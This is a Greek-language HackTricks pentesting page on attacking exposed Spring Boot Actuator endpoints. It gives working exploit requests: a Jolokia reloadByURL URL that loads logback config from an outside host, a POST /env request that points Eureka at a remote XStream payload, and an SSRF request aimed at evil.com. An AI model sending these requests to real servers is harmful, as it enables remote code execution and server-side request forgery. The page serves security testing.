mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-29 08:01:00 +00:00
91 lines
7.4 KiB
Markdown
91 lines
7.4 KiB
Markdown
# Spring Actuators
|
||
|
||
{% hint style="success" %}
|
||
Μάθετε & εξασκηθείτε στο AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||
Μάθετε & εξασκηθείτε στο GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||
|
||
<details>
|
||
|
||
<summary>Support HackTricks</summary>
|
||
|
||
* Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)!
|
||
* **Εγγραφείτε στην** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||
* **Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||
|
||
</details>
|
||
{% endhint %}
|
||
{% endhint %}
|
||
|
||
## **Spring Auth Bypass**
|
||
|
||
<figure><img src="../../.gitbook/assets/image (927).png" alt=""><figcaption></figcaption></figure>
|
||
|
||
**Από** [**https://raw.githubusercontent.com/Mike-n1/tips/main/SpringAuthBypass.png**](https://raw.githubusercontent.com/Mike-n1/tips/main/SpringAuthBypass.png)\*\*\*\*
|
||
|
||
## Εκμετάλλευση Spring Boot Actuators
|
||
|
||
**Ελέγξτε την αρχική ανάρτηση από** \[**https://www.veracode.com/blog/research/exploiting-spring-boot-actuators**]
|
||
|
||
### **Βασικά Σημεία:**
|
||
|
||
* Οι Spring Boot Actuators καταχωρούν endpoints όπως `/health`, `/trace`, `/beans`, `/env`, κ.λπ. Σε εκδόσεις 1 έως 1.4, αυτά τα endpoints είναι προσβάσιμα χωρίς αυθεντικοποίηση. Από την έκδοση 1.5 και μετά, μόνο τα `/health` και `/info` είναι μη ευαίσθητα από προεπιλογή, αλλά οι προγραμματιστές συχνά απενεργοποιούν αυτή την ασφάλεια.
|
||
* Ορισμένα endpoints Actuator μπορούν να εκθέσουν ευαίσθητα δεδομένα ή να επιτρέψουν επιβλαβείς ενέργειες:
|
||
* `/dump`, `/trace`, `/logfile`, `/shutdown`, `/mappings`, `/env`, `/actuator/env`, `/restart`, και `/heapdump`.
|
||
* Στο Spring Boot 1.x, οι actuators καταχωρούνται κάτω από τη ρίζα URL, ενώ στο 2.x, βρίσκονται κάτω από τη βάση `/actuator/`.
|
||
|
||
### **Τεχνικές Εκμετάλλευσης:**
|
||
|
||
1. **Απομακρυσμένη Εκτέλεση Κώδικα μέσω '/jolokia'**:
|
||
* Το endpoint `/jolokia` εκθέτει τη βιβλιοθήκη Jolokia, η οποία επιτρέπει HTTP πρόσβαση σε MBeans.
|
||
* Η ενέργεια `reloadByURL` μπορεί να εκμεταλλευτεί για να επαναφορτώσει τις ρυθμίσεις καταγραφής από μια εξωτερική διεύθυνση URL, κάτι που μπορεί να οδηγήσει σε τυφλό XXE ή απομακρυσμένη εκτέλεση κώδικα μέσω κατασκευασμένων XML ρυθμίσεων.
|
||
* Παράδειγμα URL εκμετάλλευσης: `http://localhost:8090/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/artsploit.com!/logback.xml`.
|
||
2. **Τροποποίηση Ρυθμίσεων μέσω '/env'**:
|
||
* Εάν υπάρχουν βιβλιοθήκες Spring Cloud, το endpoint `/env` επιτρέπει την τροποποίηση περιβαλλοντικών ιδιοτήτων.
|
||
* Οι ιδιότητες μπορούν να χειριστούν για να εκμεταλλευτούν ευπάθειες, όπως η ευπάθεια αποσυμπίεσης XStream στην υπηρεσία Eureka serviceURL.
|
||
* Παράδειγμα αίτησης POST εκμετάλλευσης:
|
||
|
||
```
|
||
POST /env HTTP/1.1
|
||
Host: 127.0.0.1:8090
|
||
Content-Type: application/x-www-form-urlencoded
|
||
Content-Length: 65
|
||
|
||
eureka.client.serviceUrl.defaultZone=http://artsploit.com/n/xstream
|
||
```
|
||
3. **Άλλες Χρήσιμες Ρυθμίσεις**:
|
||
* Ιδιότητες όπως `spring.datasource.tomcat.validationQuery`, `spring.datasource.tomcat.url`, και `spring.datasource.tomcat.max-active` μπορούν να χειριστούν για διάφορες εκμεταλλεύσεις, όπως SQL injection ή τροποποίηση συμβολοσειρών σύνδεσης βάσης δεδομένων.
|
||
|
||
### **Πρόσθετες Πληροφορίες:**
|
||
|
||
* Μια ολοκληρωμένη λίστα με τις προεπιλεγμένες actuators μπορεί να βρεθεί [εδώ](https://github.com/artsploit/SecLists/blob/master/Discovery/Web-Content/spring-boot.txt).
|
||
* Το endpoint `/env` στο Spring Boot 2.x χρησιμοποιεί μορφή JSON για την τροποποίηση ιδιοτήτων, αλλά η γενική έννοια παραμένει η ίδια.
|
||
|
||
### **Σχετικά Θέματα:**
|
||
|
||
1. **Env + H2 RCE**:
|
||
* Λεπτομέρειες σχετικά με την εκμετάλλευση του συνδυασμού του endpoint `/env` και της βάσης δεδομένων H2 μπορούν να βρεθούν [εδώ](https://spaceraccoon.dev/remote-code-execution-in-three-acts-chaining-exposed-actuators-and-h2-database).
|
||
2. **SSRF στο Spring Boot μέσω Λανθασμένης Ερμηνείας Ονόματος Διαδρομής**:
|
||
* Η διαχείριση παραμέτρων μήτρας (`;`) από το πλαίσιο Spring σε διαδρομές HTTP μπορεί να εκμεταλλευτεί για Server-Side Request Forgery (SSRF).
|
||
* Παράδειγμα αίτησης εκμετάλλευσης:
|
||
|
||
```http
|
||
GET ;@evil.com/url HTTP/1.1
|
||
Host: target.com
|
||
Connection: close
|
||
```
|
||
{% hint style="success" %}
|
||
Μάθετε & εξασκηθείτε στο AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||
Μάθετε & εξασκηθείτε στο GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||
|
||
<details>
|
||
|
||
<summary>Support HackTricks</summary>
|
||
|
||
* Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)!
|
||
* **Εγγραφείτε στην** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||
* **Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||
|
||
</details>
|
||
{% endhint %}
|
||
</details>
|
||
{% endhint %}
|